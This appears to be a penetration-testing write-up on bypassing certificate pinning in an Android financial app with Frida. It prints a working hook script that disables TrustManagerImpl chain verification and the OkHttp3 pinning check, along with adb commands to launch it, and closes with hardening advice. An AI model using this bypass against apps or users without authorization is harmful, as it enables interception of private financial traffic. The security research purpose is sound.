Dynamic Instrumentation & SSL Pinning Bypass on Android FinTech App via Frida

Research Objective

Mobile applications frequently rely on TLS Certificate Pinning to protect client-server traffic from eavesdropping. In this assessment, we analyze a production Android financial client featuring custom ProGuard obfuscation, native root detection, and hardened CertificatePinner implementations.

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Static Reconnaissance with JADX-GUI

Decompiling the target APK revealed obfuscated package structures. However, string references to X.509 and SHA-256 certificate hashes pointed to an OkHttp3 network pipeline:

// Decompiled obfuscated pinning stub
CertificatePinner.Builder builder = new CertificatePinner.Builder();
builder.add("api.fintech.bank.com", "sha256/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=");

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Frida Dynamic Hooking Architecture

To neutralize the pinning routine at runtime without recompiling and re-signing the APK, we injected a Frida agent into the zygote process:

// Frida SSL Pinning Universal Hook
Java.perform(function() {
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
        console.log('[+] Intercepted TrustManagerImpl.verifyChain for host: ' + host);
        return untrustedChain; // Bypass certificate chain validation
    };

    var CertificatePinner = Java.use('okhttp3.CertificatePinner');
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
        console.log('[+] Bypassed OkHttp3 CertificatePinner.check() for host: ' + hostname);
        return; // Empty return satisfies verification check
    };
});

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Injecting Frida via ADB

# Push frida-server to device and spawn hooked application
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
frida -U -f com.fintech.mobile -l bypass_pinning.js --no-pause

Upon injection, all HTTPS traffic was successfully routed through Burp Suite Professional, uncovering critical unauthorized access controls on transaction initiation endpoints.

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Security Recommendations

- Implement SafetyNet / Play Integrity Attestation in conjunction with server-side signature verification. - Combine Certificate Pinning with native C/C++ integrity validation to raise the barrier of entry for dynamic hookers.